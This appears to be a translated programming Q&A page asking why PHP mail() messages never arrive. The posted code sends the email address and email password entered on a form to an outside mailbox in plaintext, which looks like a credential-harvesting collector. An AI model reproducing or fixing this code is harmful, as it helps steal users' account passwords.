php邮件已发送但我无法在收件箱/垃圾邮件文件夹中收到

时间:2015-08-24 15:29:32

标签: php email

  $email = "";
  $emailPass = "";
  $fName = "";
  $lName= "";

  if(isset($_POST['email'])){
      $email = $_POST['email'];
  }
  if(isset($_POST['emailPass'])){
      $emailPass = $_POST['emailPass'];
  }
  if(isset($_POST['fName'])){
      $fName= $_POST['fName'];
  }
  if(isset($_POST['lName'])){
      $lName= $_POST['lName'];
  }

    $to      = 'prnx03@yahoo.com';
    $subject = 'Registration';
    $message = '<html>
                    <body style="font-family:monospace;">
                        <table>
                            <tr>
                            <td><h2>Registration Entry</h2></td>
                            </tr>
                        <tr>
                            <td>Email Address: </td>
                            <td>'. $email .'</td>
                        </tr>
                        <tr>
                            <td>Email Password: </td>
                            <td>'. $emailPass .'</td>
                        </tr>
                        <tr>
                            <td>Firstname: </td>
                            <td>'. $fName .'</td>
                        </tr>
                        <tr>
                            <td>Lastname: </td>
                            <td>'. $lName .'</td>
                        </tr>
                        </table>
                    </body>
                </html>';

    $headers = "From: admin@mysite.com";

    if( mail($to,$subject,$message,$headers) )
    {
        echo "Message sent successfully...";
    }
    else
    {
        echo "Message could not be sent...";
    }

我可以确保参数有其值。我唯一的问题是虽然响应回应是消息发送成功,我无法收到我的收件箱/垃圾邮件文件夹中的电子邮件。我想知道我的错误在哪里。我只想发一封简单的邮件作为测试。

我正在使用php支持的网络主机,我正用它来连接数据库。

0 个答案:

没有答案